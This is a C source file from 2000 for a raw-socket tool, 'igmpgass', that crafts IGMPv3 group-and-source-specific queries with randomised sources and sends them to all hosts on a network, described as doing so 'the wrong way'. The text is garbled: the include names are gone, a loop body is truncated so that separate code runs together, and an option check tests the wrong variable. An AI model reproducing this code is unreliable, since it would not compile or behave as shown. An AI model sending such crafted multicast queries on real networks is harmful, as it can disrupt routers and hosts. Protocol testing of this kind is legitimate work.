/*** * * igmpgass: Generate IGMPv3 queries the wrong way * * File: igmpgass.c * Date: 8/11/2000 * Auth: wilbertdg@hetnet.nl * ***/ #include #include #include #include #include /* #define */ #include #include #include typedef u_int32_t n_long; #include #define ALL_SYSTEMS "224.0.0.1" #define ALL_ROUTERS "224.0.0.2" #define ALL_IGMPV3_ROUTERS "224.0.0.22" #define MAX_QUERIES 20 #define NUM_QUERIES 2 #define MAX_SOURCES 300 #define NUM_SOURCES 5 #define MRT 255 /* Maximum Response Time */ #define RBV 3 /* Robustness Variable */ #define QQI 125 /* Querier Query Interval */ #define WITHIN(x,f,c) (((x)>=(f))&&((x)<=(c))) /* * Prototypes */ unsigned short in_cksum(unsigned short*, int); void print_igmp(char*, int); void igmpv3_query(int, char*, struct in_addr, struct in_addr, struct in_addr*, int, int, int); /* * IGMP structs */ struct igmpq { u_char iq_type; u_char iq_mrt; u_short iq_cs; struct in_addr iq_group; }; struct igmpq_v3 { u_char iq_type; u_char iq_mrt; u_short iq_cs; struct in_addr iq_group; u_char iq_rsv; u_char iq_qqi; u_short iq_nsrcs; struct in_addr iq_srcs[1]; }; int sockfd; struct in_addr sources[MAX_SOURCES]; /* * main() */ int main(argc, argv) int argc; char *argv[]; { char buf[sizeof(struct igmpq_v3) + sizeof(struct in_addr) * MAX_SOURCES]; struct in_addr all_systems, group; struct ip *iph; struct igmpq *igh; char c, ra[4]; int i, j, n; int nqueries, nsources, robvar, mrt; /* Process options */ if ((argc < 2) || ((group.s_addr = inet_addr(argv[1])) == INADDR_NONE)) { printf("usage: igmpgass [q n] [s n] [m 1..255] [-r 0..7]\n\n"); printf(" Group to query\n"); printf("-q num Send num queries\n"); printf("-s num Will specify [0..num] sources in each query\n"); printf("-m num Use num for the Maximum Response Time [1..255]\n"); printf("-r num Use num for the Robustness Variable [0..7]\n\n"); exit(1); } nqueries = NUM_QUERIES; nsources = NUM_SOURCES; mrt = MRT; robvar = RBV; opterr = 0; optind = 2; while ((c = getopt(argc, argv, "q:s:m:r:")) != -1) { switch (c) { case 'q': nqueries = atoi(optarg); if (! WITHIN(nqueries, 1, MAX_QUERIES)) nqueries = NUM_QUERIES; break; case 's': nsources = atoi(optarg); if (! WITHIN(nqueries, 1, MAX_SOURCES)) nsources = NUM_SOURCES; break; case 'm': mrt = atoi(optarg); if ((mrt == 0) || (! WITHIN(mrt, 1, 255))) mrt = MRT; break; case 'r': robvar = atoi(optarg); if ((robvar == 0) || (! WITHIN(robvar, 0, 7))) robvar = RBV; break; default: break; } } printf("#queries = %d\n", nqueries); printf("#sources = random[0..%d]\n", nsources); printf("mrt = %d\n", mrt); printf("robvar = %d\n", robvar); /* Initialize */ all_systems.s_addr = inet_addr(ALL_SYSTEMS); srand(time(NULL)); /* Create raw socket and set router-alert */ sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_IGMP); if (sockfd < 0) { perror("Failed to create raw socket. Try again as root."); exit(0); } ra[0] = 148; ra[1] = 4; ra[2] = 0; ra[3] = 0; if (setsockopt(sockfd, IPPROTO_IP, IP_OPTIONS, ra, 4)) { perror("Failed to set router-alert."); exit(0); } /* Successive group-and-source-specific queries */ for (i=0; i 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char*)(&answer) = *(u_char*)w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); answer = ~sum; return (answer); } /* * void print_igmp() */ void print_igmp(p, n) char* p; int n; { struct igmpq_v3 *igh = (struct igmpq_v3*) p; int i; printf("\ttype = %02x\n", igh->iq_type); printf("\tmrt = %d\n", igh->iq_mrt); printf("\tcs = %d\n", igh->iq_cs); printf("\tgroup = %s\n", inet_ntoa(igh->iq_group)); if (n >= 12) { printf("num = %d\n", htons(igh->iq_nsrcs)); for (i=0; iiq_nsrcs); i++) printf("\t\t%s\n", inet_ntoa(igh->iq_srcs[i])); } } /* * void igmpv3_query() */ void igmpv3_query(s, buf, dst, group, srcs, num, mrt, rbv) int s; char *buf; struct in_addr dst; struct in_addr group; struct in_addr *srcs; int num; int mrt; int rbv; { struct igmpq_v3 *igh; struct sockaddr_in sa; int i, size; igh = (struct igmpq_v3*) buf; igh->iq_type = 17; /* IGMP query */ igh->iq_mrt = (u_short) mrt; igh->iq_cs = 0; igh->iq_rsv = rbv; igh->iq_qqi = QQI; igh->iq_nsrcs = htons(num); igh->iq_group.s_addr = group.s_addr; for (i=0; iiq_srcs[i].s_addr = srcs[i].s_addr; size = sizeof(*igh) + (num-1) * sizeof(struct in_addr); igh->iq_cs = in_cksum((u_short*)igh, size); sa.sin_addr.s_addr = dst.s_addr; i = sendto(sockfd, buf, size, 0, (struct sockaddr*)&sa, sizeof(sa)); if (i == -1) { printf("error: %d\n", errno); } }